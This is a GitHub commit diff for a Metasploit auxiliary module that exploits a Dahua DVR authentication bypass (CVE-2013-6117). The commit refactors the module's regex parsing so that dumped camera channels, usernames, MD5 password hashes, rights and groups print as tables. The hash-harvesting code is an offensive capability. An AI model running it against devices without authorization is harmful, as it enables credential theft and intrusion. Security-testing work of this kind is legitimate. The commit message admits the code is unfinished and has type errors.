Skip to content

Commit c2ef7be

Browse files
committed
cleaned up regex isseus and added the appropriate rex tables. Having issues with printing them due to type errors, but Im working on it
1 parent e574c84 commit c2ef7be

File tree

1 file changed

+21
-20
lines changed

1 file changed

+21
-20
lines changed

modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb

Lines changed: 21 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,8 @@ def initialize
1010
'Author' => [
1111
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
1212
'Tyler Bennett - Talos Infosec', # Metasploit Module
13-
'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module
13+
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
14+
'Nathan McBride' # regex extraordinaire
1415
],
1516
'References' => [
1617
[ 'CVE', '2013-6117' ],
@@ -192,18 +193,10 @@ def grab_channels
192193
return unless data.length > 1
193194
print_good("#{peer} -- camera channels:")
194195
data.each_with_index do |val, index|
195-
# puts val, index + 1
196-
# next if index > 1
197-
number = "#{index}"
198-
channels = "#{val[/([[:print:]]+)/]}"
199-
# number = "#{val[0]}"
200-
# channels = "#{val[1]}"
201-
print_status(" #{number}")
202-
print_status(" #{channels}")
203-
channels_table << ["#{number}".to_i, "#{channels}".to_i]
196+
number = index.to_s
197+
channels = val[/([[:print:]]+)/].to_s
198+
channels_table << [ number, channels ]
204199
channels_table.print
205-
# print_status(" #{val[/([[:print:]]+)/]}")
206-
# print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}")
207200
end
208201
end
209202

@@ -214,19 +207,17 @@ def grab_users
214207
data = response.split('&&')
215208
usercount = 0
216209
users_table = Rex::Ui::Text::Table.new(
217-
'Header' => 'Dahua Users Hashes and groups',
210+
'Header' => 'Dahua Users Hashes and Rights',
218211
'Indent' => '1',
219212
'Columns' => ['Username', 'Password Hash', 'Permissions', 'Description']
220213
)
221214
print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!")
222215
data.each do |val|
223216
usercount += 1
224-
pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}"
225-
# print_status("Perms: #{val[/(([0-9][0-9]*, )*[0-9][0-9]*)/]}")
226-
value = pass.split(":")
227-
user = "#{value[1]}"
228-
md5hash = "#{value[2]}"
229-
print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}")
217+
user, md5hash, rights, name = val.match(/^.*:(.*):(.*):.*:(.*):(.*):.*$/).captures
218+
users_table << [user, md5hash, rights, name]
219+
users_table.print
220+
# print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}")
230221
# Write the dahua hash to the database
231222
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
232223
report_hash(rhost, rport, user, hash)
@@ -248,8 +239,18 @@ def grab_groups
248239
sock.put(GROUPS)
249240
return unless (response = sock.get_once)
250241
data = response.split('&&')
242+
groups_table = Rex::Ui::Text::Table.new(
243+
'Header' => 'Dahua groups',
244+
'Indent' => '1',
245+
'Columns' => ['Number', 'Group']
246+
)
251247
print_good("#{peer} -- groups:")
252-
data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") }
248+
data.each { |val|
249+
number = val[/(([\d]+))/].to_i
250+
groups = val[/(([a-z]+))/].to_i
251+
groups_table << [ number, groups ]
252+
groups_table.print
253+
}
253254
end
254255

255256
def reset_user

0 commit comments

Comments
 (0)